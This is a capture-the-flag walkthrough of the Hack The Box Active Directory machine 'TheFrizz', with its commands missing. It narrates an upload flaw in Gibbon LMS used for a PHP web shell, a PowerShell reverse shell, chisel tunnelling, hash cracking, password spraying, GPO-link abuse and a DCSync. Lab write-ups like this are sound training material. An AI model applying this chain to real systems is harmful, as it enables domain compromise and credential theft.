TheFrizz
AD box on HTB.
Enumeration:
Port Scanning:
Nmap:
We have another AD DC, but this time we have ports 22, and 80 open.
Lets get the FQDN using netexec:
We will notice the NTLM authentication is disabled, so we have to use kerberos only.
I will get the FQDN from the nmap result above, and pass it to netexec, and we will see that it resolved the FQDN to the corresponding IP address:
I will add it to the hosts file:
Also in the nmap result we will see the clock skew is too great, so I will use ntpdate to sync:
Lets get a quick overview of the web application framework or stack via whatweb:
So the webserver is apache, and we have PHP as the backend language, and it redirects us to frizzdc.frizz.htb.
Lets open it up with Firefox:
Nothing really interesting, but click on staff login:
We will find gibbon lms framework is running on the webserver, and it exposes its current version which is 25.
Exploitation:
Search for any public exploits:
We will come across this web page that outlines the vulnerability and its severity and some references:
Scroll down, we will find POC in one of the references:
Vulnerable code:
We will see that it accepts a file without any sanitation, and it decodes the content of a file in this case an image, where we can inject our payload.
The POC mentioned by that guy:
There are multiple exploits on github, but to not be a script kiddie, I will exploit it manually.
Craft the POST request and send it via BurpSuite.
I will write a simple php web shell:
Before sending the request, we have to URL encode the payload, and add x-www-form-urlencoded to content-type header, so the application knows what we are sending to it:
Now lets try to run whoami:
Reverse shell as w.webservice:
We can use web cradle to get a reverse shell.
From nishang powershell scripts, I will grab the powershell tcp onliner, and edit it to add my own IP address and the port we want the connect to go to:
Start a python web server to host the shell.ps1:
Also start our netcat listener:
Execute our powershell cradle:
And we will get a reverse shell:
After doing some enumeration, we will find config.php file which often has some useful information:
Read it:
Here we have username and password for a database, we can interact with it with mysql.exe present on the target system, or perform port forwarding to use the kali's mysql.
Check what local ports are open:
We will see mysql running locally.
Port Forwarding:
I will upload chisel.exe to a writeable directory:
Start the server:
Then run the client to forward port 3306 on local host to our machine:
We will recieve the connection on our server:
Check for listening ports on our kali VM:
Authenticate to the database with the credentials we found earlier:
We can start enumerating the database for any appealing data:
We will find gibbonperson table, we can use desc to check its columns:
What we are interested in only is username, passwordstrong, and passwordstrongsalt:
Save the hash and the salt to a file:
We can check the hash type with a tool called haiti:
So it is sha256 with salt.
Lets explore hashcat modes:
We can try multiple of those hash modes, but also since the gibbon is open-source framework and we can view its code we can check as well for the algorithm used to hash the passwords.
I tried 1410, but could not find anything, but when I used 1420:
Here we have valid credentials for a domain user (f.frizzle):
Shell as f.frizzle:
Get a TGT for f.frizzle with impacket-getTGT, and export it to KRB5CCNAME:
Now we can authenticate via ssh.
But before that we will create krb5 file so our kali knows where to go when we are dealing with kerberos:
Authenticate with ssh:
Lateral Movement to m.schoolbus:
Local Enumeration:
After doing some enumeration, I found a 7z file stored in the recycle bin of f.frizzle:
Copy it to our local machine via scp:
Rename it and unzip it to see what it contains:
We have conf folder.
See what files in it:
One of the files has an juicy string:
Spray it across all users:
We have another valid domain user's password.
BloodHound:
Now its the time for BloodHound.
Run the ingesters:
Start BloodHound:
Searching for outbound object controls for m.schoolbus we will find that he/she is member of the group policy creator owners, which:
Thereby it has writegplink over the domain controllers:
Shell as m.schoolbus:
We can use various tools to abuse this GPO write link ACL. I will use sharpgpoabuse.exe:
View sharpgpoabuse options and attacks:
So we can abuse this write link with a variety of attacks one of them being adding our selves to the local administrators group.
But first we have to create a GPO, and link it to the domain controllers OU:
Now we can abuse that GPO with sharpgpoabuse:
Now we should update the policies:
Check if we are now admins:
Post-Exploitation:
DCSync Attack:
We can now perform the DCSync attack to get the ntlm hash of the domain administrator.
I will do that by use netexec this time:
We can now get the flags:
Last updated